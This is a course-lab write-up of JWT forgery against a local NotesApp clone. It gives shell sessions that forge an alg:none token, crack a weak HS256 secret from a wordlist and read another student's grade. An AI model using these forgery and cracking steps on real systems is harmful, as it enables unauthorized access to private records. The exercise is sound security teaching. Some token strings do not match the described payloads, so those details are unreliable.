NotesApp JWT Forgery

Date: 27 October 2026

Class 6 authentication exercise, run against the local NotesApp clone. The app is served over HTTPS at `https://localhost` under the Class 5 configuration, so the commands use `curl -k` for the local self-signed certificate.

Finding

```
FORGED-TOKEN FINDING — NotesApp flaw #4 (auth)
What I read:   bob's grade (12.6) and comment, via /api/notes/3
Break 1:       a JWT with "alg":"none" and no signature; role set to "teacher"
Break 2:       cracked the HS256 secret (s3cr3t) from a wordlist; signed a real teacher
token
Why it worked: the server let the TOKEN choose how to verify, AND its secret was
guessable
```

Predictions

Part	Prediction	Result
1 — unsigned token	YES. The server reads `alg` from the token header, so `alg:none` should skip the signature check.	Confirmed. `/api/notes/3` returned bob's note with HTTP 200.
2 — signed token	YES. The HS256 secret is short and likely in a small wordlist.	Confirmed. The secret is `s3cr3t`; the signed token was accepted.

Record

Check	Result
Alice's payload `role`	`student`
Payload readable without a key?	Yes — base64url encoding, not encryption.
`/api/notes/3` with the forged token	bob's note (HTTP 200)
bob's grade	12.6
bob's comment	"Solid work, keep it up."
HS256 signing secret	`s3cr3t`
Signed forged token	HTTP 200
Would rejecting `alg:none` stop Break 2?	No

Evidence

Part 1 — unsigned token:

NotesApp Class 6 — Part 1: alg:none forgery

```
$ python3 jwt/forge_none.py
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjo5OTk5LCJ1c2VybmFtZSI6ImF0dGFja2VyIiwicm9sZSI6InR1YWNoZXIifQ.
$ curl -k -s -w "\nHTTP %{http_code}\n" https://localhost/api/notes/3
{
  "error": "unauthorized"
}
HTTP 401
$ curl -k -s -w "\nHTTP %{http_code}\n" https://localhost/api/notes/3 \
  -H "Authorization: Bearer $FORGED"
{
  "class_id": 1,
  "class_name": "Mathematics",
  "comment": "Solid work, keep it up.",
  "grade": 12.6,
  "id": 3,
  "student": "bob",
  "student_id": 7
}
HTTP 200
```

Raw output

Part 2 — secret recovery and signed token:

NotesApp Class 6 — Part 2: crack HS256 secret and sign

```
$ curl -k -s -c /tmp/alice-cookies.txt -X POST https://localhost/login \
  -d "username=alice" -d "password=alicepw" -o /dev/null \
  -w "HTTP %{http_code} -> %{redirect_url}\n"
HTTP 302 -> https://localhost/
$ curl -k -s -b /tmp/alice-cookies.txt https://localhost/dashboard \
  -o /tmp/notesapp-dashboard.html
$ grep -o 'const TOKEN = "[^"]*"' /tmp/notesapp-dashboard.html \
  | cut -d'"' -f2 > /tmp/alice.jwt
$ python3 - <<'PY'
import base64, json
tok = open('/tmp/alice.jwt').read().strip()
head, payload, sig = tok.split('.')
d = lambda s: json.loads(base64.urlsafe_b64decode(s + '=' * (-len(s) % 4)))
print('HEADER :', d(head))
print('PAYLOAD:', d(payload))
print('SIG    :', sig[:12], '...')
PY
HEADER : {'alg': 'HS256', 'typ': 'JWT'}
PAYLOAD: {'user_id': 6, 'username': 'alice', 'role': 'student'}
SIG    : U-mti4NnT0VY ...
$ python3 jwt/crack_jwt.py /tmp/alice.jwt jwt/jwt-secrets.txt
CRACKED — the secret is: 's3cr3t'
$ python3 jwt/forge_hs256.py s3cr3t
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo5OTk5LCJ1c2VybmFtZSI6ImF0dGFja2VyIiwicm9sZSI6InR1YWNoZXIifQ.TfusWdfJDhIKLtdS5IvZ05Qq3rwydmwiVusw410-ce4
$ curl -k -s -w "\nHTTP %{http_code}\n" https://localhost/api/notes/3 \
  -H "Authorization: Bearer $SIGNED"
{
  "class_id": 1,
  "class_name": "Mathematics",
  "comment": "Solid work, keep it up.",
  "grade": 12.6,
  "id": 3,
  "student": "bob",
  "student_id": 7
}
HTTP 200
$ python3 jwt/forge_hs256.py wrong-secret
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo5OTk5LCJ1c2VybmFtZSI6ImF0dGFja2VyIiwicm9sZSI6InR1YWNoZXIifQ.4/NsJ2capHTL_zJ4rCFqJeEURD2S6vjc1x1tvwArJbc
$ curl -k -s -w "\nHTTP %{http_code}\n" https://localhost/api/notes/3 \
  -H "Authorization: Bearer $WRONG"
{
  "error": "unauthorized"
}
HTTP 401
```

Raw output

The forged payload uses `user_id: 9999` and `username: "attacker"`. The HS256 secret was recovered from the course's 15-entry wordlist `jwt-secrets.txt` with `jwt/crack_jwt.py`. The token generators are `jwt/forge_none.py` and `jwt/forge_hs256.py`.

Course lab